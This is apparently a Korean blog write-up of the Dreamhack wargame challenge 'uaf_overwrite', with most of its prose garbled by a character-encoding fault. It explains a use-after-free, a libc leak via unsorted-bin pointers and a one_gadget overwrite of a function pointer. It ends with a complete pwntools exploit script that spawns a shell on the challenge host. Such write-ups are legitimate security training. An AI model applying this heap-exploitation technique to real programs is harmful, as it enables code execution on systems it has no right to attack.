uaf_overwrite
๋ฌธ์ ํ์ด
๋ชจ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด ์๋ค์.. ์์ฐ
Dangling Pointer๋ ์ ํจํ์ง ์์ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ก์จ.. ์ฝ๋๊ฐ ์ํผํ๋ค์
Dangling Pointer๊ฐ ์๋ค๊ณ ๊ผญ ์ํํ ๋ถ๋ถ์ ์๋์ง๋ง ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฏ๋ก ์ฌ๊ธฐ์ ์ํํ๊ฒ ์ฃ
Human์ด๋ Robot์ ๊ตฌ์กฐ์ฒด๋ก ๊ฐ ๊ตฌ์กฐ์ฒด ๋ณ์์ ํฌ๊ธฐ ๋์ ํ ๋น ํด์ ๋ฅผ ํ ์ ์์ต๋๋ค
human_funcํจ์์ robot_func ํจ์๋ฅผ ์ดํด๋ณด๋ฉด, ๊ตฌ์กฐ์ฒด ๋ณ์๋ฅผ ์ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ํ ๋น ์, ์ด๊ธฐํ X
memset()ํ๋ผ๋ ์ด์ผ๊ธฐ๊ตฌ๋! ๋ผ๋ ๊ฑธ ํ์ฐธ ๋ค์ ์๊ฒ ๋ฌ์ต๋๋ค
์ ๋ ํ ๋นํด์ ํ๋ฉด ์์์ ์ด๊ธฐํ ๋๋์ค ์์๋๋ฐ..
๊ทธ๋ผ Human ๊ตฌ์กฐ์ฒด์ Robot ๊ตฌ์กฐ์ฒด์ ํฌ๊ธฐ๋ ๊ฐ์ผ๋ฏ๋ก, ํ ๊ตฌ์กฐ์ฒด๋ฅผ ํด์
๋ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ํ ๋นํ๋ฉด ํด์ ๋ ๊ตฌ์กฐ์ฒด์ ๊ฐ์ ์ฌ์ฉํ ์ ์๋ UAF๊ฐ ๋ฐ์ํฉ๋๋ค
robot_func๋ ์์ฑํ Robot๋ณ์์ fptr์ด Null์ด ์๋๋ฉด ์ด๋ฅผ ํธ์ถ UAF๋ก ์ด ๋ณ์ ๊ฐ์ ๋จ๊ฒจ๋๋๋ค๋ฉด
์คํ ํ๋ฆ ์กฐ์์ด ๊ฐ๋ฅํ๊ฒ ์ฃ
๋ ๋ณด๋ฉด custom_func ํจ์๋ 0x100์ด์์ ํฌ๊ธฐ๊ฐ ํ ์ฒญํฌ๋ฅผ ํ ๋น ํด์ ํ ์ ์์ต๋๋ค
๋ง์ฐฌ๊ฐ์ง๋ก ์ด๊ธฐํ๋ฅผ ์ํด์ UAF๊ฐ ๋ฐ์ํ๊ฒ ๊ตฐ์
Exploit ์ค๊ณ
Robot.fptr์ ๊ฐ์ on_gadget์ ์ฃผ์๋ก ๋ฎ์ด์ ์
ธ์ ํ๋ํด์ผ๊ฒ ์ต๋๋ค
์ด๋ ํ๋ ์๊ด ์๊ฒ ์ง๋ง ์ฌ๊ธฐ์ Robot.fptr๋ก ํ์๋๊ตฐ์
์ฝ๋ ์ทจ์ฝ์ ์ด UAF๋ง ์์ผ๋ฏ๋ก libc_leak์ ํ๋ํด์ผ๊ฒ ์ต๋๋ค.
ํจ๊ป ํ์ตํ๊ธฐ์์ ์์ ๊ฐ์ด ๋์จ ์ด์ ๋ ๊ฐ static ํจ์๋ก ๊ตฌ์ฑ๋ ๋ถ๋ถ์
๋ฃ์ด์ฃผ๋ ํจ์๋ฅผ ์ ์ ํด๋น ํจ์๋ฅผ ํธ์ถ ์ ๊ฐ ํจ์์ ํธ์ถ ์ธ์๋ฅผ ๋ฃ์ด์ฃผ๊ฒ ๋ค๋ ์๋ฏธ์
๋๋ค.
์ฌ๊ธฐ์ ๋ง์ด ๋งํ๋๋ฐ.. small bin์ด์์ ํฌ๊ธฐ์ ํ ์ฒญํฌ๋ฅผ ํด์ ํ๊ฒ ๋๋ฉด
unsorted bin์ ๋ค์ด๊ฐ๊ฒ ๋๊ณ unsorted bin์ fd, bk์๋ ๋ณดํต main_arena + 88๊ณผ
๊ฐ์ main_arena ์์ญ์ ์ฃผ์๊ฐ ๋ค์ด๊ฐ๋๋ค.
๊ทธ๋ฆฌ๊ณ ํด๋น ์์ญ์ libc์ ์์ผ๋ฏ๋ก ์ถ๋ ฅํ ์ ์๋ค๋ฉด leak์ ํ๋ํ ์ ์๊ฒ ์ต๋๋ค.
๋ณดํต ํด๋น ์ฌ๋ณผ์ ์ง์ ์ ์ผ๋ก ํ ๊ฒฝ์ฐ ์์ ๊ฐ๋ฅ์ฑ์ด ๋ํํ๋ฏ๋ก
__malloc_hook์ ์ฌ๋ณผ์ ํ์ฉํ์ฌ ๋ฆญ์ ์ฐพ๋ ๋ฐฉ์์ด ์ ค ์ข์ ๊ฑฐ ๊ฐ์ต๋๋ค.
์๊น ์ปค์คํ
ํจ์์์ 1๋ฒ์งธ๋ ํฌ๊ธฐ ๋ ๋ฒ์งธ๋ data ์ฆ, ์คํ์
์ ํ ๋ฐ์ดํฐ์ ํฌ๊ธฐ๋ก๋
์ฌ๊ธฐ์ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ๋ง์ง๋ง -1์ free๋ฅผ ์ ํ๊ฒ ๋ค๋ ์๋ฏธ๋ค์
์๋ํ๋ฉด..
์บก์ฒ๊ฐ ์งค๋ ธ์ง๋ง.. unsigned int idx๋ก unsigned๋ก์จ -1๊ณผ ๊ฐ์ ์๋ ์
๋ ฅํ๋ฉด
ํํ์์ ์กด์ฌ ๋ถ๊ฐ์ด๋ฏ๋ก idx = 0xfffff..๋ผ๋ ์์๊ฐ์ผ๋ก(1์ง ๋ณด์)if๋ฌธ์ด ๋ง์กฑ X ๊ณ ๋ก free X
์ด ๊ฒฝ์ฐ๋ lib_base๋ฅผ ๊ตฌํ๋ ๋ฒ์ฉ์ ์ธ ์ฝ๋๋ก์จ ASLR์ด ๊ฑธ๋ ค์์ ๊ฒฝ์ฐ
๋ผ์ด๋ธ ์ฃผ์๊ฐ ํญ์ 0x00007f๋ก ์์ํ๋ฏ๋ก lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))์ ์ผ๋งฅ์ํตํ ์ฝ๋๋ก
0x7f๋ถํฐ 6๋งํผ ๋ฐ์๋๋ฆฌ๊ณ ๋ค์ ๋๋ฐ์ดํธ๋ฅผ ์ถ๊ฐํด u64ํจ์๋ก int๊ฐ์ ํ์์ผ๋ก ๋ณํํฉ๋๋ค.
์ฐธ๊ณ ๋ก og(one-gadget)์ ์ฃผ์๋ก๋ lb + 0x10a41c๋ ์๊น custom์ ๋ง์ง๋ง์ ๋ฃ์๋ B์ offset์
๋๋ค.
ํนํ ์ ํ ๋น์ 4๋ฒํ๋๊ฐ.. ๋ฑ์ user ๊ฐ ์
๋ ฅํ๋ input์ด libc leak์ ๊ฐ์ฅ ํ์ ๋ฐ์ดํธ๋ฅผ ๋ฎ๋๋ค๋
ํน์ง์ด ์๊ณ , ์ด๋ฐ๊ฒ๋ค์ด ๊ฒฐํฉ๋์ด ์๋นํ ์ดํดํ๊ธฐ ์ด๋ ค์ด ๊ฐ์๊ฐ ๋์๋ค์
Exploit
์์์ ๋ค ์ค๋ช ํ์ผ๋ ์ถ๊ฐ์ ์ธ ๋ถ๋ถ๋ง ๊ฐ๋จํ ์ค๋ช ํ๊ณ ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
๋ง์ง๋ง์ผ๋ก ์ด ๋ถ๋ถ์ด ์ถ๊ฐ๋์ด exploit์ ํ๋๋ฐ์
human์์ og์ ์ฃผ์๋ฅผ ๊ตฌํ์ผ๋ฏ๋ก ๋ฃ์ด์ fptr์ ๋ถ๋ถ์ shell์ ๋ฃ์ ๋ชจ์ต ๊ทธ๋ฆฌ๊ณ
robot์ ๋๊ฐ์ ์ ํฌ๋ก์จ ๋ฃ์ผ๋ฏ๋ก์จ UAF๋ฅผ ๋ฐ๋ ์คํ์ํจ ๋ชจ์ต์
๋๋ค.
12345678910111213141516171819202122232425262728293031 # Name: uaf_overwrite.pyfrom pwn import *p = remote('host3.dreamhack.games', 9794)#p = process("./uaf_overwrite")def slog(sym, val): success(sym + ": " + hex(val))def human(weight, age):p.sendlineafter(">", "1")p.sendlineafter(": ", str(weight))p.sendlineafter(": ", str(age))def robot(weight):p.sendlineafter(">", "2")p.sendlineafter(": ", str(weight))def custom(size, data, idx):p.sendlineafter(">", "3")p.sendlineafter(": ", str(size))p.sendafter(": ", data)p.sendlineafter(": ", str(idx))# UAF to calculate the `libc_base`custom(0x500, "AAAA", -1)custom(0x500, "AAAA", -1)custom(0x500, "AAAA", 0)custom(0x500, "B", -1)lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42og = lb + 0x10a41cslog("libc_base", lb)slog("one_gadget", og)# UAF to manipulate `robot->fptr` & get shellhuman("1", og)robot("1")p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
validator (0) | 2022.11.06 |
---|---|
cmd_center (0) | 2022.11.06 |
Tcache Poisoning (0) | 2022.11.06 |
Background: RELRO (0) | 2022.10.31 |
basic_exploitation_003 (0) | 2022.10.30 |